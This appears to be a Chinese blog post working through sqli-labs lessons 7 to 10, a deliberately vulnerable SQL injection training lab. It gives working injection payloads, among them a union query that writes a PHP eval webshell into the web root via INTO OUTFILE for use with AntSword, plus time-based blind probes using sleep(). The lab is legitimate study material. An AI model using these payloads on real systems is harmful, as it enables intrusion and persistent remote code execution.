Sqli-labs less7-10

Sqli-labs

为便于学习构造SQL语句的方式,需在每个less下的index.php文件中添加输出SQL语句的代码:

less7:

判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1'))报错,输入?id=1'))--+正确,说明存在SQL注入,闭合方式是((''))

利用SQL语句将一句话木马写入创建的文件中:

输入?id=-1')) union select 1,2,'<?php @eval($_POST["zjj"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\zjj.php' --+报错,访问创建的文件验证

使用AntSword连接一句话木马进行权限维持

less8:

输入?id=1显示You are in,输入?id=1'不显示You are in,说明存在SQL注入,闭合方式为''

找到注入点后有两种方式测试:一种是工具测试;一种是手工测试。

工具测试:

使用sqlmap工具,跑出存在布尔盲注和时间盲注,还有数据库版本等信息

继续用sqlmap工具跑出库名、表名、列名和数据,例如表名

手工测试:

布尔盲注不做赘述,着重讲时间盲注

科普:if(a,b,c)表示若a为ture,则执行b,若a为false,则执行c

科普:length(database())输出当前数据库名的长度

输入?id=1' and if(length(database())=7,sleep(10),1)--+,页面刷新时间大约为1s,说明当前数据库名的长度不为7

输入?id=1' and if(length(database())=8,sleep(10),1)--+,页面刷新时间大约为10s,说明当前数据库名的长度为8

总结:布尔盲注通过判断页面是否返回数据进行注入,事件盲注通过判断页面刷新时间进行注入

less9:

输入?id=1显示You are in,输入?id=1'显示You are in,输入?id=1)显示You are in,发现无论怎么闭合返回的页面都是一样的,说明不存在布尔盲注

输入?id=1) and sleep(10)--+,页面刷新时间大约为1s,输入?id=1' and sleep(10)--+,页面刷新时间大约为10s,说明存在时间盲注,闭合方式为'',其余与less8同理

less10:

与less9同理,存在时间盲注但不存在布尔盲注,闭合方式为""

posted @ 2021-10-09 10:07  强霸卓奇霸  阅读(112)  评论(0)    收藏  举报
https://blog-static.cnblogs.com/files/xiaokang01/js.js 这是添加的文件的链接 color="240,230,140" 粒子的颜色设置 opacity="1" 粒子的透明度 count="75" 粒子的个数